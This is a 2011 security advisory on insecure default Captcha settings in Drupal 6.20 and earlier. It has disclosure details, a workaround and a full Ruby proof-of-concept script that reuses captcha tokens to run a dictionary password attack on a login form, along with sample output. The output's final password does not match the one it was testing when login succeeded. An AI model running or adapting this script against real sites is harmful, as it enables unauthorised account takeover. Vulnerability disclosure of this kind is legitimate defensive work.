Drupal <= 6.20 insecure Captcha defaults PoC

 Name: Drupal <= 6.20 insecure Captcha defaults PoC
 Systems Affected: Drupal <= 6.20 with Captcha <= 2.3
 Severity: Medium
 Vendor: http://drupal.org
 Advisory: http://antisnatchor.com/Drupal_insecure_Captcha_defaults_PoC
 Author: Michele "antisnatchor" OrrĂ¹ (michele.orru AT antisnatchor DOT com)
 Date: 20110210

I. BACKGROUND
Drupal is a world-wide used open-source CMS written in PHP:
being really flexible and easy to extend, is the de-facto
choice for many small and big websites/portals that need a robust
framework on which model their business.

II. DESCRIPTION
Many Drupal users use Captcha challenges (specially with reCaptcha) in their
websites to protect sensitive resources from bots and spammers.
In fact, we've always red and seen Captcha (Drupal or not) implemented
to protect sensitive forms from online dictionary and bruteforcing attacks.

The default configuration of Persistence options for the Captcha module
in Drupal are insecure: the persistence option is set to "Omit challenges in a multi-step/preview workflow once the user successfully responds to a challenge."

This means the following: if I will be able to correctly solve the first Captcha challenge in the login form, but the login credentials are invalid, there will be no new Captcha challenge to solve in the login form presented after the HTTP response. In this situation is possible to automate a dictionary/bruteforcing attack.


III. ANALYSIS
I've attached a two hours made Ruby PoC that automates a password guessing
attack to a known username. The code is commented enough, but basically having the cookie, the form anti-xsrf token and the captcha token/sid the bruteforcing
can be automated. These values should be changed in the code, in a way that
the first request is valid and contains the right captcha sid and cookie: the next captcha/form tokens will be parsed and added to the HTTP requests automatically.

An examle of the output:
/opt/local/bin/ruby -e $stdout.sync=true;$stderr.sync=true;load($0=ARGV.shift) /Users/antisnatchor/WORKS/BEEF/drupal-intruder/drupal_captcha_intruder.rb
+Initial xsrf token [form-43fb0bcbcb140066a782a3fc23ab1ab7]
+Initial captcha token [d853d6df05f6c6a956a46f20c8fe20aa]
+Dictionary attack with [4] passwords
+Testing password [test1]
+Request headers = {"Cookie"=>"SESS7fa63be60e31be67df6f271d7756698c=tgg548ajq53m4pb0ne18nsunm0; has_js=1;", "Referer"=>"http://antisnatchor.com/user";, "Content-Type"=>"application/x-www-form-urlencoded", "User-Agent"=>"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13"}
+Code = 200
+Message = OK
+New xsrf token [form-f83fba9470bf8e3bfa035291b94fcc32]
+New captcha token [aa6e143f8c43c6b1ec87b59f6ab5bf6d]
+Testing password [test2]
+Request headers = {"Cookie"=>"SESS7fa63be60e31be67df6f271d7756698c=tgg548ajq53m4pb0ne18nsunm0; has_js=1;", "Referer"=>"http://antisnatchor.com/user";, "Content-Type"=>"application/x-www-form-urlencoded", "User-Agent"=>"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13"}
+Code = 200
+Message = OK
+New xsrf token [form-6fba4b48adf6cec02539075edb4fb5f6]
+New captcha token [3e36c79be84a0cdf3a5eefbd0715ecdd]
+Testing password [test3]
+Request headers = {"Cookie"=>"SESS7fa63be60e31be67df6f271d7756698c=tgg548ajq53m4pb0ne18nsunm0; has_js=1;", "Referer"=>"http://antisnatchor.com/user";, "Content-Type"=>"application/x-www-form-urlencoded", "User-Agent"=>"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13"}
+Code = 200
+Message = OK
+New xsrf token [form-a14e4668b0a8b7fa826bb04d1aa8590a]
+New captcha token [c9a90bbd487de5733b7231ff832c5dd6]
+Testing password [antisnatchor666!]
+Request headers = {"Cookie"=>"SESS7fa63be60e31be67df6f271d7756698c=tgg548ajq53m4pb0ne18nsunm0; has_js=1;", "Referer"=>"http://antisnatchor.com/user";, "Content-Type"=>"application/x-www-form-urlencoded", "User-Agent"=>"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13"}
+Code = 302
+Message = Moved Temporarily
+Succesfully authenticated user[admin] with password [guessme]

A little note: to try it you need a few ruby gems like nokogiri you'll probably
don't have normally.


IV. DETECTION

6.20 and earlier versions are vulnerable.

V. WORKAROUND

Proper configuration of Drupal flood protection module should mitigate this issue. Also changing the Captcha persistence options to "Always add a challenge" will
mitigate attacks.

VI. VENDOR RESPONSE

No fix available.

VII. CVE INFORMATION

No CVE at this time.

VIII. DISCLOSURE TIMELINE

20110116 Initial vendor contact
20110118 Initial Drupal security team response
20110124 Mitigation discussion
20110210 Public Disclosure

IX. CREDIT

Michele "antisnatchor" Orru'

X. LEGAL NOTICES

Copyright (c) 2011 Michele "antisnatchor" Orru'

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
written consent. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please email me for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.
# Drupal Captcha bruteforcing bypass

# This is a Proof Of Concept to demonstrate a logic security flow
# in the way drupal captcha is used to protect login forms
# from bruteforce. If the captcha challenge is solved, the next
# login attempts can be issued without solving any new captcha challenge.

# Usage: change URL, PATH, USERAGENT as you need.
# Change cookie, captcha_sid, captcha_token, form_build_id with the values
# you got in the html response AFTER the captcha is solved. This is needed
# in order to issue the first request as valid.
# Unique tokens will be then updated automatically .


# author: Michele "antisnatchor" Orru'

require "net/http"
require "net/https"
require "erb"
require "singleton"
require "rubygems"
require "nokogiri"


URL = 'antisnatchor.com'
PATH = '/user'
USERAGENT = 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13'

# easy to enhance this reading list from a file, but this is just a PoC
USERNAME_LIST = ['admin']
PASSWD_LIST = ['test1', 'test2', 'test3', 'guessme']

# these are the session values needed to create valid http requests, after
# the reCaptcha has been solved the first time, leaving the login form
# without a new captcha challenge
cookie = "SESS7fa63be60e31be67df6f271d7756698c=tgg548ajq53m4pb0ne18nsunm0; has_js=1;"
captcha_sid = "476"
form_id = "user_login"


# these anti-XSRF tokens will change for every http response,
# so nokogiri is used to parse the html response in order to create
# the next http request with the valid anti-xsrf/captcha tokens.
# These initial values will be changed accordingly and automatically
# for each request .

captcha_token = "d853d6df05f6c6a956a46f20c8fe20aa"
form_build_id = "form-43fb0bcbcb140066a782a3fc23ab1ab7"

authenticated = false;


    @http = Net::HTTP.new(URL, 80)
    @http.use_ssl = false

     puts "+Initial xsrf token [" + form_build_id + "]"
     puts "+Initial captcha token [" + captcha_token + "]"
     puts "+Dictionary attack with [" + PASSWD_LIST.size.to_s + "] passwords"
     # I'm learning ruby :-)
     passwd_counter = 0

     while !authenticated && passwd_counter < PASSWD_LIST.size do
       puts "+Testing password [" + PASSWD_LIST[passwd_counter] + "]"

       post_data = "name=" + USERNAME_LIST[0] + "&pass=" + PASSWD_LIST[passwd_counter] + "&form_build_id=" + form_build_id +
                   "&form_id=" + form_id + "&captcha_sid="+ captcha_sid +
                   "&captcha_token=" + captcha_token + "&op=Log+in"
      @headers = {
        'Cookie' => cookie,
        'Referer' => 'http://' + URL + PATH,
        'Content-Type' => 'application/x-www-form-urlencoded',
        'User-Agent' => USERAGENT
      }

      puts "+Request headers = " + @headers.inspect

      resp, data = @http.post2(PATH, post_data, @headers)

      # loads the response in nokogiri to parse anti-XSRF tokens
      doc = Nokogiri::HTML(data)
      puts '+Code = ' + resp.code
      puts '+Message = ' + resp.message


      # "debug" code
      #puts "=================================================== raw response START ======================================================="
      #puts data
      #puts "=================================================== raw response END ======================================================="

      if data.index("CAPTCHA session reuse attack detected") != nil
        puts "Doh', we've been detected by Drupal...quitting now"
        break
      end

      if data.index("Sorry, unrecognized username or password") == nil && resp.code == "302"
        # if credentials will be valid, there will be a 302 response with
        # a new location header, corresponding to the user home page (http://antisnatchor.com/user/1 for instance)
        authenticated = true
      else
        #parse the anti-xsrf and captcha tokens from the response
        doc.css('input[id^=form]').each do |form_build_id|
          form_build_id = form_build_id['id']
          puts "+New xsrf token [" + form_build_id + "]"
        end

        doc.css('input[id^=edit-captcha-token]').each do |captcha_token_id|
          captcha_token = captcha_token_id['value']
          puts "+New captcha token [" + captcha_token + "]"
        end

        # I'm still learning ruby :-)
        passwd_counter = passwd_counter + 1;

      end
      break if authenticated == true
     end

if authenticated
  puts "+Succesfully authenticated user[" + USERNAME_LIST[0] + "] with password [" + PASSWD_LIST[passwd_counter] + "]"
else
  puts "+No passwords are valid for user [" + USERNAME_LIST[0] + "]. Dictionary attack failed."
end
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Reply via email to